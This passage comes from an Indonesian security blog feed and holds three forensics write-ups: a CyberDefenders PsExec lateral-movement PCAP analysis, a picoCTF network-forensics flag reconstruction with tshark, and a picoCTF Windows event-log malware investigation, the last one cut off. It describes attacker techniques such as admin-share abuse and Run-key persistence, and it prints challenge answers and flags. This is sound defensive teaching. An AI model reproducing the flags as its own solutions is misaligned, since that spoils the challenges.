<p><strong>Pertanyaan:</strong> Share jaringan mana yang digunakan PsExec untuk menginstall service?</p>
<p><strong>Langkah analisis:</strong></p>
<p>Perhatikan detail paket <strong>SMB2 Create Request</strong> dari Q4. Di dalam paket tersebut, terdapat field <strong>Tree ID</strong> yang menunjukkan share mana yang sedang diakses.</p>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q5-admin-share1.png" alt="ADMIN$ Share Tree Connect" style="display:block;margin:0 auto" />

<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q5-admin-share2.png" alt="ADMIN$ Share Tree Connect" style="display:block;margin:0 auto" />

<p><em>Tree ID menunjuk ke \10.0.0.133\ADMIN$ sebagai target share</em></p>
<p>Tree ID menunjuk ke path <code>\\10.0.0.133\ADMIN$</code> — ini adalah <strong>hidden administrative share</strong> yang secara default di-map ke direktori <code>C:\Windows</code> pada sistem Windows. Share ini biasanya hanya bisa diakses oleh administrator dan digunakan untuk keperluan administrasi remote.</p>
<p>PsExec memanfaatkan <code>ADMIN$</code> karena:</p>
<ol>
<li><p>Memberikan akses langsung ke direktori sistem Windows</p>
</li>
<li><p>Tersedia secara default di semua sistem Windows</p>
</li>
<li><p>Bisa diakses menggunakan credential administrator yang valid</p>
</li>
</ol>
<blockquote>
<p><strong>Answer:</strong> <code>ADMIN$</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q5-answer.png" alt="ADMIN$ Share Tree Connect" style="display:block;margin:0 auto" />

<hr />
<h3>Q6 — Network Share untuk Komunikasi</h3>
<p><strong>Pertanyaan:</strong> Share mana yang digunakan PsExec untuk komunikasi antar mesin?</p>
<p><strong>Langkah analisis:</strong></p>
<p>Scroll ke bagian awal TCP stream untuk melihat <strong>SMB2 Tree Connect Request</strong> yang terjadi sebelum proses instalasi service. Ini adalah paket di mana client meminta akses ke share tertentu.</p>
<p>Filter untuk melihat semua Tree Connect Request:</p>
<pre><code class="language-plaintext">smb2.cmd == 3
</code></pre>
<p><em>(Command code 3 = Tree Connect di SMB2)</em></p>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q6-ipc-share.png" alt="IPC$ Share Tree Connect" style="display:block;margin:0 auto" />

<p><em>Tree Connect Request menunjukkan koneksi ke \10.0.0.133\IPC$</em></p>
<p>Ditemukan koneksi ke <code>\\10.0.0.133\IPC\(</code> — IPC\) (Inter-Process Communication) adalah share khusus Windows yang digunakan bukan untuk menyimpan file, melainkan untuk:</p>
<ul>
<li><p><strong>Remote Procedure Calls (RPC)</strong></p>
</li>
<li><p>Komunikasi antar proses secara remote</p>
</li>
<li><p>Manajemen service dan autentikasi</p>
</li>
</ul>
<p>PsExec menggunakan IPC$ sebagai channel komunikasi untuk mengirim perintah dan menerima output dari service yang sudah diinstall di mesin target.</p>
<blockquote>
<p><strong>Answer:</strong> <code>IPC$</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q6-answer.png" alt="IPC$ Share Tree Connect" style="display:block;margin:0 auto" />

<hr />
<h3>Q7 — Hostname Mesin Target Kedua</h3>
<p><strong>Pertanyaan:</strong> Apa hostname mesin kedua yang coba dijadikan target pivot oleh attacker?</p>
<p><strong>Langkah analisis:</strong></p>
<p>Cari SMB session baru di luar TCP stream yang sudah dianalisis sebelumnya. Gunakan filter untuk menemukan <strong>SMB Negotiate Request</strong> dari IP attacker ke IP yang berbeda:</p>
<pre><code class="language-plaintext">ip.src == 10.0.0.130 &amp;&amp; smb
</code></pre>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q7-second-target.png" alt="SMB ke target kedua 10.0.0.131" style="display:block;margin:0 auto" />

<p><em>Attacker mencoba SMB Negotiate ke 10.0.0.131 — target pivot kedua</em></p>
<p>Ditemukan upaya koneksi SMB dari <code>10.0.0.130</code> ke IP baru: <code>10.0.0.131</code>. Follow TCP Stream dari koneksi ini, lalu cari NTLM Challenge response dari server untuk mengekstrak hostname target.</p>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q7-marketing-pc.png" alt="NTLM Challenge target kedua MARKETING-PC" style="display:block;margin:0 auto" />

<p><em>NTLM Challenge mengungkap hostname MARKETING-PC, namun autentikasi gagal</em></p>
<p>Dari metadata NTLM Challenge, hostname mesin kedua teridentifikasi sebagai <strong>MARKETING-PC</strong>. Namun perlu dicatat — di dalam sesi ini ditemukan error <strong>STATUS_LOGON_FAILURE</strong>, yang berarti upaya pivot ke MARKETING-PC <strong>gagal</strong> karena credential yang digunakan tidak valid di mesin tersebut.</p>
<blockquote>
<p><strong>Answer:</strong> <code>MARKETING-PC</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q7-answer.png" alt="Answer Q7" style="display:block;margin:0 auto" />

<hr />
<h2>Results Summary</h2>
<table>
<thead>
<tr>
<th>No</th>
<th>Pertanyaan</th>
<th>Jawaban</th>
</tr>
</thead>
<tbody><tr>
<td>Q1</td>
<td>IP attacker (initial access)</td>
<td><code>10.0.0.130</code></td>
</tr>
<tr>
<td>Q2</td>
<td>Hostname target pertama</td>
<td><code>SALES-PC</code></td>
</tr>
<tr>
<td>Q3</td>
<td>Username untuk autentikasi</td>
<td><code>ssales</code></td>
</tr>
<tr>
<td>Q4</td>
<td>Service executable yang dipasang</td>
<td><code>PSEXESVC.exe</code></td>
</tr>
<tr>
<td>Q5</td>
<td>Share untuk instalasi service</td>
<td><code>ADMIN$</code></td>
</tr>
<tr>
<td>Q6</td>
<td>Share untuk komunikasi</td>
<td><code>IPC$</code></td>
</tr>
<tr>
<td>Q7</td>
<td>Hostname target kedua</td>
<td><code>MARKETING-PC</code></td>
</tr>
</tbody></table>
<hr />
<h2>Kesimpulan</h2>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/achievement.png" alt="Achievement" style="display:block;margin:0 auto" />

<p>Challenge <strong>PsExec Hunt</strong> memberikan gambaran nyata bagaimana attacker bergerak di dalam jaringan internal menggunakan tool yang sebenarnya legitimate. Hanya dengan satu file PCAP, seluruh rantai serangan bisa direkonstruksi — dari titik masuk, credential yang digunakan, hingga sejauh mana attacker berhasil bergerak.</p>
<p><strong>Tiga pelajaran utama dari lab ini:</strong></p>
<p><strong>1. Monitoring SMB traffic itu wajib</strong> SMB adalah protokol yang sangat umum di lingkungan Windows — tapi justru karena itu sering diabaikan. Anomali seperti koneksi ke <code>ADMIN$</code> atau pembuatan file <code>.exe</code> via SMB harus langsung memicu alert.</p>
<p><strong>2. Credential compromised = lateral movement risk</strong> Satu akun yang berhasil dikompromikan (<code>ssales</code>) membuka pintu ke seluruh mesin yang bisa diakses dengan credential tersebut. Prinsip <strong>least privilege</strong> dan <strong>MFA</strong> adalah defense pertama yang harus diperkuat.</p>
<p><strong>3. PsExec meninggalkan fingerprint yang khas</strong> Pola traffic: <code>IPC\(</code> → <code>ADMIN\)</code> → pembuatan <code>PSEXESVC.exe</code> adalah signature yang sangat identik dengan penggunaan PsExec. Memahami pola ini memungkinkan deteksi yang jauh lebih cepat.</p>
<blockquote>
<p><em>Tool yang legitimate pun bisa menjadi senjata — yang membedakan adalah siapa yang memegangnya dan apa tujuannya.</em> {: .prompt-info }</p>
</blockquote>
<hr />
]]></content:encoded></item><item><title><![CDATA[Ph4nt0m 1ntrud3r — picoCTF 2025: Network Forensics]]></title><description><![CDATA[Introduction


Challenge Ph4nt0m 1ntrud3r mengajak kita untuk menganalisis file PCAP — sebuah rekaman lalu lintas jaringan — untuk menemukan flag yang disembunyikan oleh attacker.
Yang menarik dari ch]]></description><link>https://blog.cyphera.my.id/ph4nt0m-1ntrud3r-picoctf-2025-network-forensics</link><guid isPermaLink="true">https://blog.cyphera.my.id/ph4nt0m-1ntrud3r-picoctf-2025-network-forensics</guid><dc:creator><![CDATA[Firmansyah Dzakwan Arifien]]></dc:creator><pubDate>Tue, 21 Apr 2026 04:37:58 GMT</pubDate><content:encoded><![CDATA[<hr />
<h2>Introduction</h2>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/ph4nt0m-1ntrud3r/cover.png" alt="Introduction" style="display:block;margin:0 auto" />

<p>Challenge <strong>Ph4nt0m 1ntrud3r</strong> mengajak kita untuk menganalisis file PCAP — sebuah rekaman lalu lintas jaringan — untuk menemukan flag yang disembunyikan oleh attacker.</p>
<p>Yang menarik dari challenge ini: flag-nya tidak langsung tersimpan dalam satu paket. Attacker sengaja <strong>memecah dan menyembunyikan flag ke dalam beberapa paket TCP</strong> secara tidak berurutan. Kita harus:</p>
<ol>
<li><p>Menemukan paket-paket yang relevan</p>
</li>
<li><p>Mengekstrak data dari dalamnya</p>
</li>
<li><p>Mendekode dari format hex → Base64 → teks asli</p>
</li>
<li><p>Menyusun ulang potongan-potongan tersebut menjadi flag yang utuh</p>
</li>
</ol>
<p><strong>Tools yang dibutuhkan:</strong></p>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Fungsi</th>
</tr>
</thead>
<tbody><tr>
<td><code>tshark</code></td>
<td>Analisis PCAP via command line</td>
</tr>
<tr>
<td><code>xxd</code></td>
<td>Konversi hex ke binary/ASCII</td>
</tr>
<tr>
<td><code>base64</code></td>
<td>Decode Base64 string</td>
</tr>
<tr>
<td><code>sort</code></td>
<td>Mengurutkan berdasarkan timestamp</td>
</tr>
<tr>
<td><code>awk</code></td>
<td>Mengambil field tertentu dari output</td>
</tr>
</tbody></table>
<blockquote>
<p>Belum punya <code>tshark</code>? Install dengan: <code>sudo apt install tshark</code> {: .prompt-info }</p>
</blockquote>
<hr />
<h2>Step-by-Step Solution</h2>
<h3>Step 1 — Download &amp; Buka File PCAP</h3>
<p>Download file <code>myNetworkTraffic.pcap</code> dari link yang diberikan di challenge, lalu pindahkan ke direktori kerja kamu. Dalam contoh ini kita simpan di <code>~/Downloads</code>.</p>
<pre><code class="language-bash">cd ~/Downloads
ls -lh myNetworkTraffic.pcap
</code></pre>
<p>Sebelum langsung filter, ada baiknya kita lihat dulu gambaran umum isi file ini — paket apa saja yang ada di dalamnya.</p>
<pre><code class="language-bash">tshark -r myNetworkTraffic.pcap -T fields -e tcp.segment_data
</code></pre>
<p><strong>Penjelasan command:</strong></p>
<ul>
<li><p><code>-r myNetworkTraffic.pcap</code> → baca file PCAP ini</p>
</li>
<li><p><code>-T fields</code> → tampilkan hanya field tertentu, bukan output lengkap</p>
</li>
<li><p><code>-e tcp.segment_data</code> → tampilkan isi data/payload dari tiap paket TCP</p>
</li>
</ul>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/ph4nt0m-1ntrud3r/step1-tshark-raw.png" alt="Output awal tshark" style="display:block;margin:0 auto" />

<p><em>Hasil output mentah — deretan hex string dari tiap paket TCP</em></p>
<p>Hasilnya adalah deretan <strong>hex string</strong> yang merupakan isi dari masing-masing paket. Terlihat banyak paket, tapi kita belum tahu mana yang relevan.</p>
<hr />
<h3>Step 2 — Filter Paket yang Relevan</h3>
<p>Setelah melihat outputnya, kita perlu menyaring hanya paket yang mengandung data flag. Caranya dengan memfilter berdasarkan <strong>panjang TCP payload</strong>.</p>
<p>Dalam challenge ini, paket yang relevan adalah yang memiliki panjang <strong>12 byte</strong> atau <strong>4 byte</strong>.</p>
<pre><code class="language-bash">tshark -r myNetworkTraffic.pcap -Y "tcp.len==12 || tcp.len==4" -T fields -e tcp.segment_data
</code></pre>
<p><strong>Penjelasan tambahan:</strong></p>
<ul>
<li><code>-Y "tcp.len==12 || tcp.len==4"</code> → filter display: hanya tampilkan paket TCP dengan payload sepanjang 12 atau 4 byte</li>
</ul>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/ph4nt0m-1ntrud3r/step2-filtered.png" alt="Output setelah filter panjang paket" style="display:block;margin:0 auto" />

<p><em>Jumlah paket berkurang signifikan setelah difilter</em></p>
<p>Hasilnya sudah jauh lebih sedikit. Tapi outputnya masih berupa <strong>hex</strong> — belum bisa dibaca.</p>
<hr />
<h3>Step 3 — Konversi Hex ke ASCII</h3>
<p>Kita sambungkan output tadi ke <code>xxd -r -p</code> untuk mengubah hex menjadi teks yang bisa dibaca.</p>
<pre><code class="language-bash">tshark -r myNetworkTraffic.pcap -Y "tcp.len==12 || tcp.len==4" -T fields -e tcp.segment_data | xxd -r -p
</code></pre>
<p><strong>Penjelasan</strong> <code>xxd -r -p</code><strong>:</strong></p>
<ul>
<li><p><code>-r</code> → mode reverse: ubah hex dump <strong>kembali</strong> ke binary/ASCII</p>
</li>
<li><p><code>-p</code> → plain hex input (tanpa offset atau kolom samping)</p>
</li>
</ul>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/ph4nt0m-1ntrud3r/step3-hex-to-ascii.png" alt="Output setelah konversi hex ke ASCII" style="display:block;margin:0 auto" />

<p><em>Teks sudah terbaca, tapi masih dalam format Base64</em></p>
<p>Hasilnya sekarang terlihat seperti <strong>string Base64</strong> — ditandai dengan karakter <code>=</code> atau <code>==</code> di akhir tiap potongan. Tapi urutannya masih acak!</p>
<hr />
<h3>Step 4 — Urutkan Berdasarkan Timestamp</h3>
<p>Masalahnya: paket-paket ini <strong>tidak terurut berdasarkan waktu</strong> saat dibaca. Jika kita langsung decode, flag yang kita dapat tidak akan berurutan.</p>
<p>Solusinya: tambahkan field <code>frame.time</code> ke output, lalu <strong>sort berdasarkan timestamp</strong> sebelum decode.</p>
<pre><code class="language-bash">tshark -r myNetworkTraffic.pcap \
  -Y "tcp.len==12 || tcp.len==4" \
  -T fields \
  -e frame.time \
  -e tcp.segment_data \
  | sort -k4 \
  | awk '{print $6}' \
  | xxd -p -r \
  | base64 -d
</code></pre>
<p><strong>Penjelasan tiap bagian:</strong></p>
<table>
<thead>
<tr>
<th>Bagian</th>
<th>Fungsi</th>
</tr>
</thead>
<tbody><tr>
<td><code>-e frame.time</code></td>
<td>Ambil timestamp tiap paket</td>
</tr>
<tr>
<td><code>sort -k4</code></td>
<td>Urutkan berdasarkan kolom ke-4 (bagian waktu dari timestamp)</td>
</tr>
<tr>
<td><code>awk '{print $6}'</code></td>
<td>Ambil kolom ke-6 saja, yaitu hex data payload</td>
</tr>
<tr>
<td><code>xxd -p -r</code></td>
<td>Konversi hex → binary</td>
</tr>
<tr>
<td><code>base64 -d</code></td>
<td>Decode Base64 → teks asli</td>
</tr>
</tbody></table>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/ph4nt0m-1ntrud3r/step4-sorted-decoded.png" alt="Output setelah sort dan decode" style="display:block;margin:0 auto" />

<p><em>Flag muncul setelah paket diurutkan dan di-decode</em></p>
<hr />
<h3>Step 5 — Rekonstruksi Flag</h3>
<p>Hasil decode menghasilkan potongan-potongan seperti ini:</p>
<table>
<thead>
<tr>
<th>Base64</th>
<th>Decoded</th>
</tr>
</thead>
<tbody><tr>
<td><code>cGljb0NURg==</code></td>
<td><code>picoCTF</code></td>
</tr>
<tr>
<td><code>ezF0X3c0cw==</code></td>
<td><code>{1t_w4s</code></td>
</tr>
<tr>
<td><code>bnRfdGg0dA==</code></td>
<td><code>nt_th4t</code></td>
</tr>
<tr>
<td><code>XzM0c3lfdA==</code></td>
<td><code>_34sy_t</code></td>
</tr>
<tr>
<td><code>YmhfNHJfOQ==</code></td>
<td><code>bh_4r_9</code></td>
</tr>
<tr>
<td><code>NjZkMGJmYg==</code></td>
<td><code>66d0bfb</code></td>
</tr>
<tr>
<td><code>fQ==</code></td>
<td><code>}</code></td>
</tr>
</tbody></table>
<p>Susun potongan-potongan tersebut secara logis berdasarkan konteks kalimat:</p>
<pre><code class="language-plaintext">picoCTF + {1t_w4s + nt_th4t + _34sy_t + bh_4r_9 + 66d0bfb + }
</code></pre>
<blockquote>
<p><strong>Flag:</strong> <code>picoCTF{1t_w4snt_th4t_34sy_tbh_4r_966d0bfb}</code> {: .prompt-tip }</p>
</blockquote>
<p>Terjemahan tersembunyi dari flagnya: <strong>"It wasn't that easy, to be honest."</strong> — pesan dari si pembuat soal.</p>
<hr />
<h2>Penutup &amp; Kesimpulan</h2>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/ph4nt0m-1ntrud3r/chall-solved.png" alt="Chall Solved" style="display:block;margin:0 auto" />

<p>Challenge <strong>Ph4nt0m 1ntrud3r</strong> mengajarkan kita bahwa data tidak selalu tersimpan dalam satu tempat yang mudah ditemukan. Attacker bisa menyembunyikan informasi dengan cara:</p>
<ol>
<li><p><strong>Memecah data</strong> menjadi potongan-potongan kecil</p>
</li>
<li><p><strong>Mengenkode</strong> tiap potongan dalam format Base64</p>
</li>
<li><p><strong>Mengirimnya secara tidak berurutan</strong> melalui jaringan</p>
</li>
</ol>
<p>Untuk mengungkapnya, kita butuh pendekatan yang sistematis:</p>
<ul>
<li><p><strong>Filter</strong> dulu paket yang benar-benar relevan — jangan langsung olah semua paket</p>
</li>
<li><p><strong>Perhatikan timestamp</strong> — urutan pengiriman paket sangat penting untuk rekonstruksi data</p>
</li>
<li><p><strong>Kenali encoding</strong> — Base64, hex, dan format lainnya adalah teknik umum dalam CTF maupun serangan nyata</p>
</li>
</ul>
<p>Satu hal yang menarik dari challenge ini: <code>tshark</code> saja sudah cukup untuk menyelesaikan semuanya. Kita tidak butuh tool berat — cukup pahami alur data dari paket ke flag, lakukan satu pipeline command yang tepat, dan flag pun terbuka.</p>
]]></content:encoded></item><item><title><![CDATA[Event-Viewing — picoCTF 2025: Windows Event Log Forensics]]></title><description><![CDATA[Introduction
Challenge Event-Viewing membawa kita ke dalam skenario investigasi malware di lingkungan Windows. Seorang karyawan melaporkan kejadian aneh pada komputernya:

Mereka menginstall software ]]></description><link>https://blog.cyphera.my.id/event-viewing-picoctf-2025-windows-event-log-forensics</link><guid isPermaLink="true">https://blog.cyphera.my.id/event-viewing-picoctf-2025-windows-event-log-forensics</guid><dc:creator><![CDATA[Firmansyah Dzakwan Arifien]]></dc:creator><pubDate>Tue, 21 Apr 2026 04:36:30 GMT</pubDate><content:encoded><![CDATA[<h2>Introduction</h2>
<p>Challenge <strong>Event-Viewing</strong> membawa kita ke dalam skenario investigasi malware di lingkungan Windows. Seorang karyawan melaporkan kejadian aneh pada komputernya:</p>
<ol>
<li><p>Mereka menginstall software dari internet</p>
</li>
<li><p>Software dijalankan tapi seperti tidak melakukan apa-apa</p>
</li>
<li><p>Setiap kali komputer dinyalakan dan login, muncul layar hitam command prompt sekilas lalu komputer langsung mati</p>
</li>
</ol>
<p>Tugas kita: <strong>analisis Windows Event Log</strong> untuk menemukan jejak dari ketiga kejadian tersebut, dan kumpulkan 3 potongan flag yang tersembunyi di dalamnya.</p>
<h3>Apa itu Windows Event Log?</h3>
<p>Windows Event Log adalah sistem pencatatan bawaan Windows yang merekam semua aktivitas penting di sistem — mulai dari instalasi software, perubahan registry, hingga proses shutdown. File log ini berekstensi <code>.evtx</code> dan bisa dibuka dengan <strong>Event Viewer</strong> atau diparse menggunakan script Python.</p>
<p><strong>Tools yang dibutuhkan:</strong></p>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Fungsi</th>
</tr>
</thead>
<tbody><tr>
<td>Python + <code>python-evtx</code></td>
<td>Parse file <code>.evtx</code> ke format XML</td>
</tr>
<tr>
<td>Event Viewer (Windows)</td>
<td>Baca log secara visual</td>
</tr>
<tr>
<td><code>grep</code> / text editor</td>
<td>Cari Event ID tertentu</td>
</tr>
<tr>
<td>CyberChef / terminal</td>
<td>Decode Base64</td>
</tr>
</tbody></table>
<blockquote>
<p>Install library python-evtx dengan: <code>pip install python-evtx</code> {: .prompt-info }</p>
</blockquote>
<hr />
<h2>Step-by-Step Solution</h2>
<h3>Step 1 — Parse File EVTX ke Format XML</h3>
<p>File <code>.evtx</code> adalah format binary — tidak bisa dibaca langsung seperti teks biasa. Langkah pertama kita ubah dulu ke format XML yang mudah dibaca dan dicari.</p>
<p>Buat file <code>parse_evtx.py</code> dengan isi berikut:</p>
<pre><code class="language-python">from Evtx.Evtx import Evtx

def parse_evtx_file(file_path):
    xml_records = []
    try:
        with Evtx(file_path) as log:
            for record in log.records():
                xml_records.append(record.xml())
    except FileNotFoundError:
        print("Error: File tidak ditemukan. Cek kembali path-nya.")
    except Exception as e:
        print(f"Terjadi error: {e}")
    return xml_records

if __name__ == "__main__":
    file_path = input("Masukkan path ke file EVTX: ").strip()
    records = parse_evtx_file(file_path)
    for rec in records:
        print(rec)
</code></pre>
<p>Jalankan script tersebut:</p>
<pre><code class="language-bash">python3 parse_evtx.py &gt; output.xml
# Masukkan path file saat diminta, contoh: /home/kali/Downloads/Windows_Log.evtx
</code></pre>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/event-viewing/step1-parse-evtx.png" alt="Output parse EVTX ke XML" style="display:block;margin:0 auto" />

<p><em>File EVTX berhasil dikonversi ke XML — siap untuk dianalisis</em></p>
<p>Sekarang kita punya file <code>output.xml</code> yang berisi seluruh log dalam format teks. Selanjutnya kita cari event-event spesifik berdasarkan <strong>Event ID</strong>.</p>
<hr />
<h3>Step 2 — Fase 1: Instalasi Software (Event ID 1033)</h3>
<p><strong>Konteks:</strong> Karyawan menginstall software dari internet menggunakan installer.</p>
<p>Di Windows, setiap kali sebuah software berhasil diinstall via Windows Installer, sistem mencatat Event ID <strong>1033</strong> di log Windows Installer.</p>
<p>Cari Event ID ini di hasil parse kita:</p>
<pre><code class="language-bash">grep -A 30 "EventID&gt;1033" output.xml
</code></pre>
<p>Atau jika menggunakan Windows Event Viewer:</p>
<ul>
<li><p>Buka <strong>Event Viewer</strong></p>
</li>
<li><p>Navigasi ke <code>Applications and Services Logs &gt; Microsoft &gt; Windows &gt; MsiInstaller</code></p>
</li>
<li><p>Filter by Event ID: <code>1033</code></p>
</li>
</ul>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/event-viewing/step2-event-1033.png" alt="Event ID 1033 di log" style="display:block;margin:0 auto" />

<p><em>Event ID 1033 mencatat instalasi software beserta string Base64 tersembunyi</em></p>
<p>Di dalam event ini, ditemukan sebuah string yang terlihat seperti Base64:</p>
<pre><code class="language-plaintext">cGljb0NURntFdjNudF92aTN3djNyXw==
</code></pre>
<p>Decode menggunakan terminal:</p>
<pre><code class="language-bash">echo "cGljb0NURntFdjNudF92aTN3djNyXw==" | base64 -d
</code></pre>
<p>Hasil decode:</p>
<pre><code class="language-plaintext">picoCTF{Ev3nt_vi3wv3r_
</code></pre>
<blockquote>
<p><strong>Flag Part 1:</strong> <code>picoCTF{Ev3nt_vi3wv3r_</code> {: .prompt-tip }</p>
</blockquote>
<hr />
<h3>Step 3 — Fase 2: Eksekusi Software &amp; Modifikasi Registry (Event ID 4657)</h3>
<p><strong>Konteks:</strong> Software dijalankan tapi "seperti tidak melakukan apa-apa" — padahal diam-diam memodifikasi registry.</p>
<p>Ini adalah teknik klasik malware: <strong>memasukkan dirinya ke registry Run key</strong> agar otomatis berjalan setiap kali sistem startup.</p>
<p>Registry key yang biasa dipakai malware untuk persistence:</p>
<pre><code class="language-plaintext">SOFTWARE\Microsoft\Windows\CurrentVersion\Run
</code></pre>
<p>Perubahan pada registry value dicatat oleh Windows dengan Event ID <strong>4657</strong> di Security Log.</p>
<p>Cari Event ID ini:</p>
<pre><code class="language-bash">grep -A 40 "EventID&gt;4657" output.xml
</code></pre>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/event-viewing/step3-event-4657.png" alt="Event ID 4657 di log" style="display:block;margin:0 auto" />

<p><em>Event ID 4657 menunjukkan modifikasi registry Run key dengan nilai Base64</em></p>
<p>Di dalam event ini, pada field <code>ObjectValueName</code>, ditemukan string Base64:</p>
<pre><code class="language-plaintext">MXNfYV9wcjN0dHlfdXMzZnVsXw==
</code></pre>
<p>Decode:</p>
<pre><code class="language-bash">echo "MXNfYV9wcjN0dHlfdXMzZnVsXw==" | base64 -d
</code></pre>
<p>Hasil decode:</p>
<pre><code class="language-plaintext">1s_a_pr3tty_us3ful_
</code></pre>
<blockquote>
<p><strong>Flag Part 2:</strong> <code>1s_a_pr3tty_us3ful_</code> {: .prompt-tip }</p>
</blockquote>
<p><strong>Apa yang terjadi di balik layar?</strong></p>
<p>Malware menambahkan entry baru di registry Run key yang mengarah ke file berbahaya — dalam hal ini <code>custom_shutdown.exe</code>. Setiap kali Windows startup dan user login, file ini otomatis dieksekusi, dan itulah yang menyebabkan komputer langsung mati.</p>
<hr />
<h3>Step 4 — Fase 3: Shutdown Otomatis (Event ID 1074)</h3>
<p><strong>Konteks:</strong> Setiap login, muncul command prompt sekilas lalu komputer mati.</p>
<p>Setiap kali sistem di-shutdown atau restart, Windows mencatat Event ID <strong>1074</strong> di System Log — berisi informasi proses mana yang memicu shutdown dan alasannya.</p>
<p>Cari Event ID ini:</p>
<pre><code class="language-bash">grep -A 40 "EventID&gt;1074" output.xml
</code></pre>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/picoctf/event-viewing/step4-event-1074.png" alt="Event ID 1074 di log" style="display:block;margin:0 auto" />

<p><em>Event ID 1074 menunjukkan dua entri shutdown — satu legitimate, satu dari malware</em></p>
<blockquote>
<p><strong>Perhatikan:</strong> Ada <strong>dua entri</strong> Event ID 1074 di sini:</p>
<ol>
<li><p><code>RuntimeBroker.exe</code> → proses Windows yang legitimate, ini adalah "smokescreen" / pengalih perhatian</p>
</li>
<li><p><code>custom_shutdown.exe</code> (ditulis juga sebagai <code>custum_shutdown.exe</code>) → ini adalah binary malware yang sebenarnya memicu shutdown {: .prompt-warning }</p>
</li>
</ol>
</blockquote>
<p>Di dalam event dari <code>custom_shutdown.exe</code>, ditemukan string Base64:</p>
<pre><code class="language-plaintext">dDAwbF84MWJhM2ZlOX0=
</code></pre>
<p>Decode:</p>
<pre><code class="language-bash">echo "dDAwbF84MWJhM2ZlOX0=" | base64 -d
</code></pre>
<p>Hasil decode:</p>
<pre><code class="language-plaintext">t00l_81ba3fe9}
</code></pre>
<blockquote>
<p><strong>Flag Part 3:</strong> <code>t00l_81ba3fe9}</code> {: .prompt-tip }</p>
</blockquote>
<hr />
<h3>Step 5 — Gabungkan Semua Potongan Flag</h3>
<p>Kita kumpulkan ketiga potongan sesuai urutan kejadian:</p>
<table>
<thead>
<tr>
<th>Fase</th>
<th>Event ID</th>
<th>Decoded</th>
</tr>
</thead>
<tbody><tr>
<td>Instalasi software</td>
<td><code>1033</code></td>
<td><code>picoCTF{Ev3nt_vi3wv3r_</code></td>
</tr>
<tr>
<td>Modifikasi registry</td>
<td><code>4657</code></td>
<td><code>1s_a_pr3tty_us3ful_</code></td>
</tr>
<tr>
<td>Shutdown otomatis</td>
<td><code>1074</code></td>
<td><code>t00l_81ba3fe9}</code></td>
</tr>
</tbody></table>
<p>Gabungkan:</p>
<pre><code class="language-plaintext">picoCTF{Ev3nt_vi3wv3r_  +  1s_a_pr3tty_us3ful_  +  t00l_81ba3fe9}
</code></pre>
<blockquote>
<p><strong>Flag:</strong> <code>picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}</code> {: .prompt-tip }</p>
</blockquote>
<hr />
<h2>📊 Summary</h2>
<table>
<thead>
<tr>
<th>Fase</th>
<th>Event ID</th>
<th>Log Source</th>
<th>Teknik Malware</th>
<th>Flag Part</th>
</tr>
</thead>
<tbody><tr>
<td>Instalasi</td>
<td><code>1033</code></td>
<td>MsiInstaller</td>
<td>Software installer berbahaya</td>
<td><code>picoCTF{Ev3nt_vi3wv3r_</code></td>
</tr>
<tr>
<td>Eksekusi</td>
<td><code>4657</code></td>
<td>Security Log</td>
<td>Registry persistence (Run key)</td>
<td><code>1s_a_pr3tty_us3ful_</code></td>
</tr>
<tr>
<td>Shutdown</td>
<td><code>1074</code></td>
<td>System Log</td>
<td>Auto-shutdown via custom binary</td>
<td><code>t00l_81ba3fe9}</code></td>
</tr>
</tbody></table>
<hr />
<h2>🗺️ Attack Flow</h2>
<pre><code class="language-plaintext">[Karyawan download installer]
         │
         ▼
[Install software → Event ID 1033]
  └─ Flag Part 1 tersembunyi di sini

         │
         ▼
